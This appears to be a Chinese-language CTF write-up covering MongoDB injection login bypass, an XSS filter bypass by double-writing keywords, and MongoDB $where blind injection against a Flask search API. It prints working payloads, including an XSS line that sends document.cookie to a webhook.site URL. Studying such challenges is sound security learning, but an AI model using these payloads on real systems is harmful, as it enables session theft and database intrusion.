这里的写这个wp的原因是这里有几道题考察的是mongodb的注入

(之前没咋见过,都是做mysql的居多)

之前见过一次还是在 d3ctf里面见过

youtube———-wp

mogodb

这是一个mogodb的查询语句

image-20230616202249915

注入点就在这了

payload

1
admin' || this.user==='a

这里的引号位置是为了闭合代码中的引号

因为这里使用了||语句 ,所以说只要存在一个用户名为admin的用户,我们就能成功登录

这里能成功是因为优先级的问题的 (非与或 优先级从大到小)

所以说这里会先执行&& 然后返回的结果在于||一起

fancy-page

考点 xss

这里很奇怪 (别的题目可以打通的payload到这就不行了,国外的题好奇怪)

而且还有一点就是不能使用国内的vps来弹shell 只能使用专门接http返回信息的网站来做

这里的话就记录一下他的payload,下次打国际赛在遇到的时候就拿出来用

给的源码中就下面的最有用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import { default as Arg } from "https://cdn.jsdelivr.net/npm/@vunamhung/arg.js@1.4.0/+esm";

function sanitize(content) {
return content.replace(/script|on|iframe|object|embed|cookie/gi, "");
}

let title = document.getElementById("title");
let content = document.getElementById("content");

function display() {
title.textContent = Arg("title");
document.title = Arg("title");

let sanitized = sanitize(Arg("content"));
content.innerHTML = sanitized;

document.body.style.backgroundColor = Arg("background_color");
document.body.style.color = Arg("color");
document.body.style.fontFamily = Arg("font");
content.style.fontSize = Arg("font_size") + "px";
}

display();

虽然过滤了一些标签,但是因为是替换给空,所以可以使用双写绕过

image-20230616204154238

contentxss代码

image-20230616204225564

这里传新生成的页面给机器人访问

payload

1
<img src=x oonnerror='document.locatioonn="https://webhook.site/763b1516-a326-4e4e-8327-7954bf30e2da?"+document.ccookieookie'>

image-20230616204737798

成功

flag-shop

这是一道mogodb的盲注题目

image-20230616205615839

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import traceback

import pymongo.errors
from flask import Flask, jsonify, render_template, request
from pymongo import MongoClient

app = Flask(__name__)
FLAG = os.getenv("FLAG")
app.config["SECRET_KEY"] = os.getenv("FLASK_SECRET")
mongo_client = MongoClient(connect=False)
db = mongo_client.database

@app.route("/")
def main():
return render_template("index.html")

@app.route("/api/search", methods=["POST"])
def search():
if request.json is None or "search" not in request.json:
return jsonify({"error": "No search provided", "results": []}), 400
try:
results = db.flags.find(
{
"$where": f"this.challenge.includes('{request.json['search']}')"
}, {
"_id": False,
"flag": False
}
).sort("challenge")
except pymongo.errors.PyMongoError:
traceback.print_exc()
return jsonify({"error": "Database error", "results": []}), 500
return jsonify({"error": "", "results": list(results)}), 200

if __name__ == "__main__":
app.run()

根据这个代码来看的话

image-20230616205858592

这里的话是在challenge 这个表里查数据

idflag是不给查的 但是我们可以包含上面的include语句,来重新查一个flag

1
')==this.flag.includes('xxx

xx后面就是想要爆破的字符串了

这里的话include的话就是 查找表里是否有相对应的字符串

例如 flag 随便输入4个字母中的一个 就会将flag给输出出来 这就是include的作用

image-20230616212203808

查询成功就会输出全部挑战

image-20230616212223885

查询失败就啥也没有

这里在记录一个ejs3.1.9的漏洞题

wp1 wp2

下次遇到ejs 3.1.9的题 这里直接秒就行